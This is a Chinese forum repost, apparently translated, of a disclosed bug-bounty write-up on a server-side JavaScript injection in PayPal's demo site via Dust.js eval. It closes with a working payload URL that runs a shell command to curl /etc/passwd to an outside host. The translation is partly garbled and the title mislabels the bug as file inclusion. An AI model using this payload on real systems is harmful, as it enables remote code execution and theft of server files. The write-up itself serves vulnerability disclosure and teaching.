HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

LFI on Demo.PayPal.Com(paypal的文件包含漏洞)

  •   djg222000 ·2018-2-9 19:13:09·460 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    今天,我将告诉你如何在利用文件包含漏洞,漏洞站点Demo.PayPal.Com
    我希望你会喜欢
    当我试图找到在Web应用程序中的漏洞,我一直执行所有的HTTP参数的模糊,有时它给了我一些有趣的事情:
    这个demo.paypal.com的服务器响应以不同的方式’\’和’%0A’的请求和响应中被扔了“语法错误”。同时对单引号,双引号和其他字符服务器与HTTP 200 OK响应。
    从错误信息,我发现,PayPal的Node.js应用程序使用的JavaScript Dust.js模板引擎在服务器端,所以我决定去看看。看着在GitHub上它的源代码后,我想通了,问题是用“if”dust.js helper 连接。
    老版Dust.js的支持“if”helper,你可以在你的代码中这样使用它们:
    而“if”helper内部使用JavaScript的eval,对于复杂的表达式求值:
    https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215是
    啊,为什么不用呢?这是一个简单而优雅的解决方案。
    (所以,当我请求发送到http://_demo.paypal.com/demo/navigation设备= XXX\应用程序试图评估以下JavaScript表达式:
    这将引发一个语法错误。
    这是否意味着用户提供的输入来的eval()直接?实际上不是,应用几个危险的字符,如单引号(’)和双引号(“)与HTML编码进行更换(’ – > ”),所以我们不能直接关闭串并执行任意JavaScript代码,但是让我们仔细看。在使这个替换功能:
    https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846
    嗯,但如果’S’参数是不是一个字符串?在Node.js的,我们可以发送类似paypal.com/?device[]=1&device[]=2和“设备”参数将通过QS模块解析为一个数组的请求,而不是字符串。
    我迅速作出https://_demo.paypal.com/demo/navigation?device[]=&device[]=“,并在服务器与回应”语法错误“开始下我发送的请求。
    所以我花了几分钟的时间来制作一个测试有效载荷发送“/ etc / passwd文件’文件到我的服务器。
    https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y’-require(‘child_process’).exec(‘curl+-F+”x=`cat+/etc/passwd`”+artsploit.com’)-‘
    漏洞已经报给了PayPal

    460 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   225 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-5-22 10:20, Processed in 0.043374 second(s), 18 queries .